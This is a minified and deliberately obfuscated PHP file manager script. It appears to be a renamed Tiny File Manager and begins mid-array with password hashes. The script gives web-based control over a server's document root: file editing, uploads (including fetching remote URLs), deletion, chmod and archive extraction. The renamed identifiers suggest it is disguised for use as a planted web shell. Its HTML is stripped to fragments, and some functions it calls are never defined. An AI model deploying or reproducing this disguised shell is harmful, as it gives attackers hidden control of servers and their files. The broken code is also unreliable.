'$2y$10$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW','user'=>'$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO' );$f61=array('user');$z62=false;$l63=array();$h64=true;$p65='vs';$s66=true;$i67='Etc/UTC';$n68=$_SERVER['DOCUMENT_ROOT'];$w69='';$f70=$_SERVER['HTTP_HOST'];$y71='UTF-8';$h72='m/d/Y g:i A';$i73='';$f74='';$v75='';$h76=array();$l77='google';$x78=true;$e79=5000000000;$j80=2000000;$p81='OFF';$b82=true;$t83=array('127.0.0.1','::1' );$w84=array('0.0.0.0','::' );$i85=array('css-bootstrap'=>'','css-dropzone'=>'','css-font-awesome'=>'','css-highlightjs'=>'','js-ace'=>'','js-bootstrap'=>'','js-dropzone'=>'','js-jquery'=>'','js-jquery-datatables'=>'','js-highlightjs'=>'','pre-jsdelivr'=>'','pre-cloudflare'=>'');$n86=__DIR__.'/config.php';if(is_readable($n86)){@include($n86);}define('MAX_UPLOAD_SIZE',$e79);define('UPLOAD_CHUNK_SIZE',$j80);if(!defined('FM_SESSION_ID')){define('FM_SESSION_ID','filemanager');}$j87=new k88();$x89=isset($j87->$a90['lang'])?$j87->$a90['lang']:'en';$m91=isset($j87->$a90['show_hidden'])?$j87->$a90['show_hidden']:true;$s92=isset($j87->$a90['error_reporting'])?$j87->$a90['error_reporting']:true;$a93=isset($j87->$a90['hide_Cols'])?$j87->$a90['hide_Cols']:true;$a94=isset($j87->$a90['theme'])?$j87->$a90['theme']:'light';define('FM_THEME',$a94);$e95=array('en'=>'English');if($s92==true){@ini_set('error_reporting',E_ALL);@ini_set('display_errors',1);}else{@ini_set('error_reporting',E_ALL);@ini_set('display_errors',0);}if(defined('FM_EMBED')){$n59=false;$x78=false;}else{@set_time_limit(600);date_default_timezone_set($i67);ini_set('default_charset','UTF-8');if(version_compare(PHP_VERSION,'5.6.0','<')&&function_exists('mb_internal_encoding')){mb_internal_encoding('UTF-8');}if(function_exists('mb_regex_encoding')){mb_regex_encoding('UTF-8');}session_cache_limiter('');session_name(FM_SESSION_ID);function h0($e96,$b97,$b98,$v99){if($e96==2){session_abort();session_id(session_create_id());@session_start();}}set_error_handler('session_error_handling_function');session_start();restore_error_handler();}if(empty($_SESSION['token'])){$_SESSION['token']=bin2hex(random_bytes(32));}if(empty($l60)){$n59=false;}$h100=isset($_SERVER['HTTPS'])&&($_SERVER['HTTPS']=='on'||$_SERVER['HTTPS']==1)||isset($_SERVER['HTTP_X_FORWARDED_PROTO'])&&$_SERVER['HTTP_X_FORWARDED_PROTO']=='https';if(isset($_SESSION[FM_SESSION_ID]['logged'])&&!empty($l63[$_SESSION[FM_SESSION_ID]['logged']])){$o101=s19(dirname($_SERVER['PHP_SELF']));$w69=$w69.$o101.DIRECTORY_SEPARATOR.$l63[$_SESSION[FM_SESSION_ID]['logged']];}$w69=s19($w69);defined('FM_ROOT_URL')||define('FM_ROOT_URL',($h100?'https':'http').'://'.$f70.(!empty($w69)?'/'.$w69:''));defined('FM_SELF_URL')||define('FM_SELF_URL',($h100?'https':'http').'://'.$f70.$_SERVER['PHP_SELF']);if(isset($_GET['logout'])){unset($_SESSION[FM_SESSION_ID]['logged']);unset($_SESSION['token']);b17(FM_SELF_URL);}if($p81!='OFF'){function m1(){if(array_key_exists('HTTP_CF_CONNECTING_IP',$_SERVER)){return $_SERVER["HTTP_CF_CONNECTING_IP"];}else if(array_key_exists('HTTP_X_FORWARDED_FOR',$_SERVER)){return $_SERVER["HTTP_X_FORWARDED_FOR"];}else if(array_key_exists('REMOTE_ADDR',$_SERVER)){return $_SERVER['REMOTE_ADDR'];}else if(array_key_exists('HTTP_CLIENT_IP',$_SERVER)){return $_SERVER['HTTP_CLIENT_IP'];}return '';}$q102=m1();$x103=false;$w104=in_array($q102,$t83);$z105=in_array($q102,$w84);if($p81=='AND'){if($w104==true&&$z105==false){$x103=true;}}else if($p81=='OR'){if($w104==true||$z105==false){$x103=true;}}if($x103==false){trigger_error('User connection denied from: '.$q102,E_USER_WARNING);if($b82==false){i29(z57('Access denied. IP restriction applicable'),'error');k53();k52();}exit();}}if($n59){if(isset($_SESSION[FM_SESSION_ID]['logged'],$l60[$_SESSION[FM_SESSION_ID]['logged']])){}elseif(isset($_POST['fm_usr'],$_POST['fm_pwd'],$_POST['token'])){sleep(1);if(function_exists('password_verify')){if(isset($l60[$_POST['fm_usr']])&&isset($_POST['fm_pwd'])&&password_verify($_POST['fm_pwd'],$l60[$_POST['fm_usr']])&&k8($_POST['token'])){$_SESSION[FM_SESSION_ID]['logged']=$_POST['fm_usr'];i29(z57('You are logged in'));b17(FM_ROOT_URL);}else{unset($_SESSION[FM_SESSION_ID]['logged']);i29(z57('Login failed. Invalid username or password'),'error');b17(FM_ROOT_URL);}}else{i29(z57('password_hash not supported, Upgrade PHP version'),'error');;}}else{unset($_SESSION[FM_SESSION_ID]['logged']);k53();?>
".z57('Root path')." \"{$n68}\" ".z57('not found!')." ";exit;}defined('FM_SHOW_HIDDEN')||define('FM_SHOW_HIDDEN',$m91);defined('FM_ROOT_PATH')||define('FM_ROOT_PATH',$n68);defined('FM_LANG')||define('FM_LANG',$x89);defined('FM_FILE_EXTENSION')||define('FM_FILE_EXTENSION',$i73);defined('FM_UPLOAD_EXTENSION')||define('FM_UPLOAD_EXTENSION',$f74);defined('FM_EXCLUDE_ITEMS')||define('FM_EXCLUDE_ITEMS',(version_compare(PHP_VERSION,'7.0.0','<')?serialize($h76):$h76));defined('FM_DOC_VIEWER')||define('FM_DOC_VIEWER',$l77);define('FM_READONLY',$z62||($n59&&!empty($f61)&&isset($_SESSION[FM_SESSION_ID]['logged'])&&in_array($_SESSION[FM_SESSION_ID]['logged'],$f61)));define('FM_IS_WIN',DIRECTORY_SEPARATOR=='\\');if(!isset($_GET['p'])&&empty($_FILES)){b17(FM_SELF_URL.'?p=');}$k106=isset($_GET['p'])?$_GET['p']:(isset($_POST['p'])?$_POST['p']:'');$k106=s19($k106);$m107=file_get_contents('php://input');$_POST=(strpos($m107,'ajax')!=FALSE&&strpos($m107,'save')!=FALSE)?json_decode($m107,true):$_POST;define('FM_PATH',$k106);define('FM_USE_AUTH',$n59);define('FM_EDIT_FILE',$s66);defined('FM_ICONV_INPUT_ENC')||define('FM_ICONV_INPUT_ENC',$y71);defined('FM_USE_HIGHLIGHTJS')||define('FM_USE_HIGHLIGHTJS',$h64);defined('FM_HIGHLIGHTJS_STYLE')||define('FM_HIGHLIGHTJS_STYLE',$p65);defined('FM_DATETIME_FORMAT')||define('FM_DATETIME_FORMAT',$h72);unset($k106,$n59,$y71,$h64,$p65);if((isset($_SESSION[FM_SESSION_ID]['logged'],$l60[$_SESSION[FM_SESSION_ID]['logged']])||!FM_USE_AUTH)&&isset($_POST['ajax'],$_POST['token'])&&!FM_READONLY){if(!k8($_POST['token'])){header('HTTP/1.0 401 Unauthorized');die("Invalid Token.");}if(isset($_POST['type'])&&$_POST['type']=="search"){$s108=$_POST['path']=="."?'':$_POST['path'];$t109=e42(s19($s108),$_POST['content']);echo json_encode($t109);exit();}if(isset($_POST['type'])&&$_POST['type']=="save"){$h110=FM_ROOT_PATH;if(FM_PATH!=''){$h110.='/'.FM_PATH;}if(!is_dir($h110)){b17(FM_SELF_URL.'?p=');}$b98=$_GET['edit'];$b98=s19($b98);$b98=str_replace('/','',$b98);if($b98==''||!is_file($h110.'/'.$b98)){i29(z57('File not found'),'error');$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}header('X-XSS-Protection:0');$c112=$h110.'/'.$b98;$v113=$_POST['content'];$i114=fopen($c112,"w");$e115=@fwrite($i114,$v113);fclose($i114);if($e115===false){header("HTTP/1.1 500 Internal Server Error");die("Could Not Write File! - Check Permissions / Ownership");}die(true);}if(isset($_POST['type'])&&$_POST['type']=="backup"&&!empty($_POST['file'])){$o116=s19($_POST['file']);$s117=FM_ROOT_PATH.'/';if(!empty($_POST['path'])){$s118=s19($_POST['path']);$s117.="{$s118}/";}$e119=date("dMy-His");$b120="{$o116}-{$e119}.bak";$g121=$s117.$o116;try{if(!file_exists($g121)){throw new w122("File {$o116} not found");}if(copy($g121,$s117.$b120)){echo"Backup {$b120} created";}else{throw new w122("Could not copy file {$o116}");}}catch(Exception $d123){echo $d123->v124();}}if(isset($_POST['type'])&&$_POST['type']=="settings"){global $j87,$x89,$s92,$m91,$e95,$a93,$a94;$l125=$_POST['js-language'];b22([]);if(!array_key_exists($l125,$e95)){$l125='en';}$n126=isset($_POST['js-error-report'])&&$_POST['js-error-report']=="true"?true:false;$k127=isset($_POST['js-show-hidden'])&&$_POST['js-show-hidden']=="true"?true:false;$s128=isset($_POST['js-hide-cols'])&&$_POST['js-hide-cols']=="true"?true:false;$w129=$_POST['js-theme-3'];if($j87->$a90['lang']!=$l125){$j87->$a90['lang']=$l125;$x89=$l125;}if($j87->$a90['error_reporting']!=$n126){$j87->$a90['error_reporting']=$n126;$s92=$n126;}if($j87->$a90['show_hidden']!=$k127){$j87->$a90['show_hidden']=$k127;$m91=$k127;}if($j87->$a90['show_hidden']!=$k127){$j87->$a90['show_hidden']=$k127;$m91=$k127;}if($j87->$a90['hide_Cols']!=$s128){$j87->$a90['hide_Cols']=$s128;$a93=$s128;}if($j87->$a90['theme']!=$w129){$j87->$a90['theme']=$w129;$a94=$w129;}$j87->g50();echo true;}if(isset($_POST['type'])&&$_POST['type']=="pwdhash"){$a130=isset($_POST['inputPassword2'])&&!empty($_POST['inputPassword2'])?password_hash($_POST['inputPassword2'],PASSWORD_DEFAULT):'';echo $a130;}if(isset($_POST['type'])&&$_POST['type']=="upload"&&!empty($_REQUEST["uploadurl"])){$h110=FM_ROOT_PATH;if(FM_PATH!=''){$h110.='/'.FM_PATH;}function x2($x131){global $j132;echo json_encode($x131);}function s3(){global $h110,$x133,$l134;return $h110."/".basename($x133->$x135);}$e136=!empty($_REQUEST["uploadurl"])&&preg_match("|^http(s)?://.+$|",stripslashes($_REQUEST["uploadurl"]))?stripslashes($_REQUEST["uploadurl"]):null;$k137=parse_url($e136,PHP_URL_HOST);$k138=parse_url($e136,PHP_URL_PORT);$c139=[22,23,25,3306];if(preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i",$k137)||in_array($k138,$c139)){$h140=array("message"=>"URL is not allowed");x2(array("fail"=>$h140));exit();}$e141=false;$l134=tempnam(sys_get_temp_dir(),"upload-");$x133=new b142();$x133->$x135=trim(basename($e136),".\x00..\x20");$i143=(FM_UPLOAD_EXTENSION)?explode(',',FM_UPLOAD_EXTENSION):false;$w144=strtolower(pathinfo($x133->$x135,PATHINFO_EXTENSION));$l145=($i143)?in_array($w144,$i143):true;$h140=false;if(!$l145){$h140=array("message"=>"File extension is not allowed");x2(array("fail"=>$h140));exit();}if(!$e136){$z146=false;}else if($e141){@$e147=fopen($l134,"w");@$p148=curl_init($e136);curl_setopt($p148,CURLOPT_NOPROGRESS,false);curl_setopt($p148,CURLOPT_FOLLOWLOCATION,true);curl_setopt($p148,CURLOPT_FILE,$e147);@$z146=curl_exec($p148);$f149=curl_getinfo($p148);if(!$z146){$h140=array("message"=>curl_error($p148));}@curl_close($p148);fclose($e147);$x133->$j150=$f149["size_download"];$x133->$e151=$f149["content_type"];}else{$a152=stream_context_create();@$z146=copy($e136,$l134,$a152);if(!$z146){$h140=error_get_last();}}if($z146){$z146=rename($l134,strtok(s3(),'?'));}if($z146){x2(array("done"=>$x133));}else{unlink($l134);if(!$h140){$h140=array("message"=>"Invalid url parameter");}x2(array("fail"=>$h140));}}exit();}if(isset($_GET['del'],$_POST['token'])&&!FM_READONLY){$f153=str_replace('/','',s19($_GET['del']));if($f153!=''&&$f153!='..'&&$f153!='.'&&k8($_POST['token'])){$h110=FM_ROOT_PATH;if(FM_PATH!=''){$h110.='/'.FM_PATH;}$u154=is_dir($h110.'/'.$f153);if(n9($h110.'/'.$f153)){$b97=$u154?z57('Folder').' %s '.z57('Deleted'):z57('File').' %s '.z57('Deleted');i29(sprintf($b97,w27($f153)));}else{$b97=$u154?z57('Folder').' %s '.z57('not deleted'):z57('File').' %s '.z57('not deleted');i29(sprintf($b97,w27($f153)),'error');}}else{i29(z57('Invalid file or folder name'),'error');}$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}if(isset($_POST['newfilename'],$_POST['newfile'],$_POST['token'])&&!FM_READONLY){$e155=urldecode($_POST['newfile']);$s156=str_replace('/','',s19(strip_tags($_POST['newfilename'])));if(m28($s156)&&$s156!=''&&$s156!='..'&&$s156!='.'&&k8($_POST['token'])){$h110=FM_ROOT_PATH;if(FM_PATH!=''){$h110.='/'.FM_PATH;}if($e155=="file"){if(!file_exists($h110.'/'.$s156)){if(z11($s156)){@fopen($h110.'/'.$s156,'w')or die('Cannot open file: '.$s156);i29(sprintf(z57('File').' %s '.z57('Created'),w27($s156)));}else{i29(z57('File extension is not allowed'),'error');}}else{i29(sprintf(z57('File').' %s '.z57('already exists'),w27($s156)),'alert');}}else{if(n14($h110.'/'.$s156,false)===true){i29(sprintf(z57('Folder').' %s '.z57('Created'),$s156));}elseif(n14($h110.'/'.$s156,false)===$h110.'/'.$s156){i29(sprintf(z57('Folder').' %s '.z57('already exists'),w27($s156)),'alert');}else{i29(sprintf(z57('Folder').' %s '.z57('not created'),w27($s156)),'error');}}}else{i29(z57('Invalid characters in file or folder name'),'error');}$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}if(isset($_GET['copy'],$_GET['finish'])&&!FM_READONLY){$i157=urldecode($_GET['copy']);$i157=s19($i157);if($i157==''){i29(z57('Source path not defined'),'error');$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}$p158=FM_ROOT_PATH.'/'.$i157;$i159=FM_ROOT_PATH;if(FM_PATH!=''){$i159.='/'.FM_PATH;}$i159.='/'.basename($p158);$t160=isset($_GET['move']);$t160=s19(urldecode($t160));if($p158!=$i159){$y161=trim(FM_PATH.'/'.basename($p158),'/');if($t160){$d162=c12($p158,$i159);if($d162){i29(sprintf(z57('Moved from').' %s '.z57('to').' %s',w27($i157),w27($y161)));}elseif($d162===null){i29(z57('File or folder with this path already exists'),'alert');}else{i29(sprintf(z57('Error while moving from').' %s '.z57('to').' %s',w27($i157),w27($y161)),'error');}}else{if(p13($p158,$i159)){i29(sprintf(z57('Copied from').' %s '.z57('to').' %s',w27($i157),w27($y161)));}else{i29(sprintf(z57('Error while copying from').' %s '.z57('to').' %s',w27($i157),w27($y161)),'error');}}}else{if(!$t160){$y161=trim(FM_PATH.'/'.basename($p158),'/');$f163=pathinfo($p158);$c164='';if(!is_dir($p158)){$c164='.'.$f163['extension'];}$d165=$f163['dirname'].'/'.$f163['filename'].'-'.date('YmdHis').$c164;$w166=0;$l167=1000;while(file_exists($d165)&$w166<$l167){$f163=pathinfo($d165);$d165=$f163['dirname'].'/'.$f163['filename'].'-copy'.$c164;$w166++;}if(p13($p158,$d165,False)){i29(sprintf('Copyied from %s to %s',w27($i157),w27($d165)));}else{i29(sprintf('Error while copying from %s to %s',w27($i157),w27($d165)),'error');}}else{i29(z57('Paths must be not equal'),'alert');}}$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}if(isset($_POST['file'],$_POST['copy_to'],$_POST['finish'],$_POST['token'])&&!FM_READONLY){if(!k8($_POST['token'])){i29(z57('Invalid Token.'),'error');}$h110=FM_ROOT_PATH;if(FM_PATH!=''){$h110.='/'.FM_PATH;}$q168=FM_ROOT_PATH;$g169=s19($_POST['copy_to']);if($g169!=''){$q168.='/'.$g169;}if($h110==$q168){i29(z57('Paths must be not equal'),'alert');$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}if(!is_dir($q168)){if(!n14($q168,true)){i29('Unable to create destination folder','error');$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}}$t160=isset($_POST['move']);$c170=0;$t171=$_POST['file'];if(is_array($t171)&&count($t171)){foreach($t171 as $l172){if($l172!=''){$l172=s19($l172);$p158=$h110.'/'.$l172;$i159=$q168.'/'.$l172;if($t160){$d162=c12($p158,$i159);if($d162===false){$c170++;}}else{if(!p13($p158,$i159)){$c170++;}}}}if($c170==0){$b97=$t160?'Selected files and folders moved':'Selected files and folders copied';i29($b97);}else{$b97=$t160?'Error while moving items':'Error while copying items';i29($b97,'error');}}else{i29(z57('Nothing selected'),'alert');}$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}if(isset($_POST['rename_from'],$_POST['rename_to'],$_POST['token'])&&!FM_READONLY){if(!k8($_POST['token'])){i29("Invalid Token.",'error');}$o173=urldecode($_POST['rename_from']);$o173=s19($o173);$o173=str_replace('/','',$o173);$s156=urldecode($_POST['rename_to']);$s156=s19(strip_tags($s156));$s156=str_replace('/','',$s156);$h110=FM_ROOT_PATH;if(FM_PATH!=''){$h110.='/'.FM_PATH;}if(m28($s156)&&$o173!=''&&$s156!=''){if(c12($h110.'/'.$o173,$h110.'/'.$s156)){i29(sprintf(z57('Renamed from').' %s '.z57('to').' %s',w27($o173),w27($s156)));}else{i29(sprintf(z57('Error while renaming from').' %s '.z57('to').' %s',w27($o173),w27($s156)),'error');}}else{i29(z57('Invalid characters in file name'),'error');}$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}if(isset($_GET['dl'],$_POST['token'])){if(!k8($_POST['token'])){i29("Invalid Token.",'error');}$l174=urldecode($_GET['dl']);$l174=s19($l174);$l174=str_replace('/','',$l174);$h110=FM_ROOT_PATH;if(FM_PATH!=''){$h110.='/'.FM_PATH;}if($l174!=''&&is_file($h110.'/'.$l174)){v43($h110.'/'.$l174,$l174,1024);exit;}else{i29(z57('File not found'),'error');$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}}if(!empty($_FILES)&&!FM_READONLY){if(isset($_POST['token'])){if(!k8($_POST['token'])){$t109=array('status'=>'error','info'=>"Invalid Token.");echo json_encode($t109);exit();}}else{$t109=array('status'=>'error','info'=>"Token Missing.");echo json_encode($t109);exit();}$f175=false;$g176=$_POST['dzchunkindex'];$l177=$_POST['dztotalchunkcount'];$l178=s19($_REQUEST['fullpath']);$l172=$_FILES;$h110=FM_ROOT_PATH;$p179=DIRECTORY_SEPARATOR;if(FM_PATH!=''){$h110.='/'.FM_PATH;}$c170=0;$l180=0;$i143=(FM_UPLOAD_EXTENSION)?explode(',',FM_UPLOAD_EXTENSION):false;$t109=array('status'=>'error','info'=>'Oops! Try again');$p181=$l172['file']['name'];$b182=$l172['file']['tmp_name'];$w144=pathinfo($p181,PATHINFO_FILENAME)!=''?strtolower(pathinfo($p181,PATHINFO_EXTENSION)):'';$l145=($i143)?in_array($w144,$i143):true;if(!m28($p181)&&!m28($l178)){$t109=array('status'=>'error','info'=>"Invalid File name!",);echo json_encode($t109);exit();}$j183=$h110.$p179;if(is_writable($j183)){$s117=$h110.'/'.basename($l178);$f184=substr($s117,0,strrpos($s117,"/"));if(file_exists($s117)&&!$f175&&!$w185){$v186=$w144?'.'.$w144:'';$s117=$h110.'/'.basename($l178,$v186).'_'.date('ymdHis').$v186;}if(!is_dir($f184)){$o173=umask(0);mkdir($f184,0777,true);umask($o173);}if(empty($l172['file']['error'])&&!empty($b182)&&$b182!='none'&&$l145){if($l177){$a187=@fopen("{$s117}.part",$g176==0?"wb":"ab");if($a187){$x188=@fopen($b182,"rb");if($x188){while($w189=fread($x188,4096)){fwrite($a187,$w189);}$t109=array('status'=>'success','info'=>"file upload successful");}else{$t109=array('status'=>'error','info'=>"failed to open output stream",'errorDetails'=>error_get_last());}@fclose($x188);@fclose($a187);@unlink($b182);$t109=array('status'=>'success','info'=>"file upload successful");}else{$t109=array('status'=>'error','info'=>"failed to open output stream");}if($g176==$l177-1){rename("{$s117}.part",$s117);}}else if(move_uploaded_file($b182,$s117)){if(file_exists($s117)){$t109=array('status'=>'success','info'=>"file upload successful");}else{$t109=array('status'=>'error','info'=>'Couldn\'t upload the requested file.');}}else{$t109=array('status'=>'error','info'=>"Error while uploading files. Uploaded files $l180",);}}}else{$t109=array('status'=>'error','info'=>'The specified folder for upload isn\'t writeable.');}echo json_encode($t109);exit();}if(isset($_POST['group'],$_POST['delete'],$_POST['token'])&&!FM_READONLY){if(!k8($_POST['token'])){i29(z57("Invalid Token."),'error');}$h110=FM_ROOT_PATH;if(FM_PATH!=''){$h110.='/'.FM_PATH;}$c170=0;$t171=$_POST['file'];if(is_array($t171)&&count($t171)){foreach($t171 as $l172){if($l172!=''){$y190=$h110.'/'.$l172;if(!n9($y190)){$c170++;}}}if($c170==0){i29(z57('Selected files and folder deleted'));}else{i29(z57('Error while deleting items'),'error');}}else{i29(z57('Nothing selected'),'alert');}$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}if(isset($_POST['group'],$_POST['token'])&&(isset($_POST['zip'])||isset($_POST['tar']))&&!FM_READONLY){if(!k8($_POST['token'])){i29(z57("Invalid Token."),'error');}$h110=FM_ROOT_PATH;$w144='zip';if(FM_PATH!=''){$h110.='/'.FM_PATH;}$w144=isset($_POST['tar'])?'tar':'zip';if(($w144=="zip"&&!class_exists('ZipArchive'))||($w144=="tar"&&!class_exists('PharData'))){i29(z57('Operations with archives are not available'),'error');$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}$t171=$_POST['file'];$q191=array();foreach($t171 as $b98){array_push($q191,s19($b98));}$t171=$q191;if(!empty($t171)){chdir($h110);if(count($t171)==1){$n192=reset($t171);$n192=basename($n192);$x193=$n192.'_'.date('ymd_His').'.'.$w144;}else{$x193='archive_'.date('ymd_His').'.'.$w144;}if($w144=='zip'){$y194=new g195();$a130=$y194->t46($x193,$t171);}elseif($w144=='tar'){$c196=new j197();$a130=$c196->t46($x193,$t171);}if($a130){i29(sprintf(z57('Archive').' %s '.z57('Created'),w27($x193)));}else{i29(z57('Archive not created'),'error');}}else{i29(z57('Nothing selected'),'alert');}$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}if(isset($_POST['unzip'],$_POST['token'])&&!FM_READONLY){if(!k8($_POST['token'])){i29(z57("Invalid Token."),'error');}$i198=urldecode($_POST['unzip']);$i198=s19($i198);$i198=str_replace('/','',$i198);$x199=false;$h110=FM_ROOT_PATH;if(FM_PATH!=''){$h110.='/'.FM_PATH;}if($i198!=''&&is_file($h110.'/'.$i198)){$d200=$h110.'/'.$i198;$w144=pathinfo($d200,PATHINFO_EXTENSION);$x199=true;}else{i29(z57('File not found'),'error');}if(($w144=="zip"&&!class_exists('ZipArchive'))||($w144=="tar"&&!class_exists('PharData'))){i29(z57('Operations with archives are not available'),'error');$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}if($x199){$c201='';if(isset($_POST['tofolder'])){$c201=pathinfo($d200,PATHINFO_FILENAME);if(n14($h110.'/'.$c201,true)){$h110.='/'.$c201;}}if($w144=="zip"){$y194=new g195();$a130=$y194->p47($d200,$h110);}elseif($w144=="tar"){try{$l202=new y203($d200);if(@$l202->y204($h110,null,true)){$a130=true;}else{$a130=false;}}catch(Exception $d123){$a130=true;}}if($a130){i29(z57('Archive unpacked'));}else{i29(z57('Archive not unpacked'),'error');}}else{i29(z57('File not found'),'error');}$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}if(isset($_POST['chmod'],$_POST['token'])&&!FM_READONLY&&!FM_IS_WIN){if(!k8($_POST['token'])){i29(z57("Invalid Token."),'error');}$h110=FM_ROOT_PATH;if(FM_PATH!=''){$h110.='/'.FM_PATH;}$b98=$_POST['chmod'];$b98=s19($b98);$b98=str_replace('/','',$b98);if($b98==''||(!is_file($h110.'/'.$b98)&&!is_dir($h110.'/'.$b98))){i29(z57('File not found'),'error');$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}$z205=0;if(!empty($_POST['ur'])){$z205|=0400;}if(!empty($_POST['uw'])){$z205|=0200;}if(!empty($_POST['ux'])){$z205|=0100;}if(!empty($_POST['gr'])){$z205|=0040;}if(!empty($_POST['gw'])){$z205|=0020;}if(!empty($_POST['gx'])){$z205|=0010;}if(!empty($_POST['or'])){$z205|=0004;}if(!empty($_POST['ow'])){$z205|=0002;}if(!empty($_POST['ox'])){$z205|=0001;}if(@chmod($h110.'/'.$b98,$z205)){i29(z57('Permissions changed'));}else{i29(z57('Permissions not changed'),'error');}$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}$h110=FM_ROOT_PATH;if(FM_PATH!=''){$h110.='/'.FM_PATH;}if(!is_dir($h110)){b17(FM_SELF_URL.'?p=');}$f206=l20(FM_PATH);$x207=is_readable($h110)?scandir($h110):array();$q208=array();$t171=array();$r209=array_slice(explode("/",$h110),-1)[0];if(is_array($x207)&&c21($r209)){foreach($x207 as $b98){if($b98=='.'||$b98=='..'){continue;}if(!FM_SHOW_HIDDEN&&substr($b98,0,1)==='.'){continue;}$y190=$h110.'/'.$b98;if(@is_file($y190)&&c21($b98)){$t171[]=$b98;}elseif(@is_dir($y190)&&$b98!='.'&&$b98!='..'&&c21($b98)){$q208[]=$b98;}}}if(!empty($t171)){natcasesort($t171);}if(!empty($q208)){natcasesort($q208);}if(isset($_GET['upload'])&&!FM_READONLY){v55();b51(FM_PATH);function d4(){$x210=explode(',',FM_UPLOAD_EXTENSION);if(FM_UPLOAD_EXTENSION&&$x210){array_walk($x210,function(&$h211){$h211=".$h211";});return x5(',',$x210);}return '';}?>

:

'.PHP_EOL;}?>

: , ',$i212)?>

:
/

 

Copying

Source path:
Destination folder:

Copy   Move   Cancel

/>
/>
/>

""

Full path:
File size:
MIME-type:
:
:
:
: %
';}if($j226){$d236=q30($l230);if(function_exists('iconv')){if(!$d236){$l230=iconv(FM_ICONV_INPUT_ENC,'UTF-8//IGNORE',$l230);}}echo ''.z57('Charset').': '.($d236?'utf-8':'8 bit').'
';}?>

 
 
     
';}else if($l77=='microsoft'){echo '';}}elseif($o221){if($u229!==false){echo '';foreach($u229 as $d234){if($d234['folder']){echo ''.w27($d234['name']).'
';}else{echo $d234['name'].' ('.o24($d234['filesize']).')
';}}echo '
';}else{echo '

'.z57('Error while fetching archive info').'

';}}elseif($v223){if(in_array($w144,array('gif','jpg','jpeg','png','bmp','ico','svg','webp','avif'))){echo '

image

';}}elseif($e224){echo '

';}elseif($r225){echo '
';}elseif($j226){if(FM_USE_HIGHLIGHTJS){$f238=array('shtml'=>'xml','htaccess'=>'apache','phtml'=>'php','lock'=>'json','svg'=>'xml',);$b239=isset($f238[$w144])?'lang-'.$f238[$w144]:'lang-'.$w144;if(empty($w144)||in_array(strtolower($b98),v39())||preg_match('#\.min\.(css|js)$#i',$b98)){$b239='nohighlight';}$l230='
'.w27($l230).'
';}elseif(in_array($w144,array('php','php4','php5','phtml','phps'))){$l230=highlight_string($l230,true);}else{$l230='
'.w27($l230).'
';}echo $l230;}?>
'.$b98.'';header('X-XSS-Protection:0');v55();b51(FM_PATH);$y217=FM_ROOT_URL.h31((FM_PATH!=''?'/'.FM_PATH:'').'/'.$b98);$c112=$h110.'/'.$b98;$o241=true;if(isset($_GET['env'])){if($_GET['env']=="ace"){$o241=false;}}if(isset($_POST['savedata'])){$v113=$_POST['savedata'];$i114=fopen($c112,"w");@fwrite($i114,$v113);fclose($i114);i29(z57('File Saved Successfully'));}$w144=strtolower(pathinfo($c112,PATHINFO_EXTENSION));$n218=o16($c112);$c220=filesize($c112);$j226=false;$l230='';if(in_array($w144,v37())||substr($n218,0,4)=='text'||in_array($n218,r38())){$j226=true;$l230=file_get_contents($c112);}?>
'.htmlspecialchars($l230).'';echo '';}elseif($j226){echo '
'.htmlspecialchars($l230).'
';}else{i29(z57('FILE EXTENSION HAS NOT SUPPORTED'),'error');}?>

Full path:

 

'?');$y254=array('name'=>'?');}?> '?');$y254=array('name'=>'?');}?>
..
>
'.readlink($h110.'/'.$l172).'':'')?>
">
>
'.readlink($h110.'/'.$l172).'':'')?>
">
'.o24($y244).'' ?> '.$j242.'' ?> '.$d243.'' ?>
";return;}echo"$i85[$v258]";}/** * Verify CSRF TOKEN and remove after cerify * @param string $token * @return bool */ function k8($o259){if(hash_equals($_SESSION['token'],$o259)){return true;}return false;}/** * Delete file or folder (recursively) * @param string $path * @return bool */ function n9($h110){if(is_link($h110)){return unlink($h110);}elseif(is_dir($h110)){$x207=scandir($h110);$k260=true;if(is_array($x207)){foreach($x207 as $b98){if($b98!='.'&&$b98!='..'){if(!n9($h110.'/'.$b98)){$k260=false;}}}}return($k260)?rmdir($h110):false;}elseif(is_file($h110)){return unlink($h110);}return false;}/** * Recursive chmod * @param string $path * @param int $filemode * @param int $dirmode * @return bool * @todo Will use in mass chmod */ function d10($h110,$s261,$k262){if(is_dir($h110)){if(!chmod($h110,$k262)){return false;}$x207=scandir($h110);if(is_array($x207)){foreach($x207 as $b98){if($b98!='.'&&$b98!='..'){if(!d10($h110.'/'.$b98,$s261,$k262)){return false;}}}}return true;}elseif(is_link($h110)){return true;}elseif(is_file($h110)){return chmod($h110,$s261);}return false;}/** * Check the file extension which is allowed or not * @param string $filename * @return bool */ function z11($p181){$i143=(FM_FILE_EXTENSION)?explode(',',FM_FILE_EXTENSION):false;$w144=pathinfo($p181,PATHINFO_EXTENSION);$l145=($i143)?in_array($w144,$i143):true;return($l145)?true:false;}/** * Safely rename * @param string $old * @param string $new * @return bool|null */ function c12($o173,$s156){$l145=z11($s156);if(!is_dir($o173)){if(!$l145)return 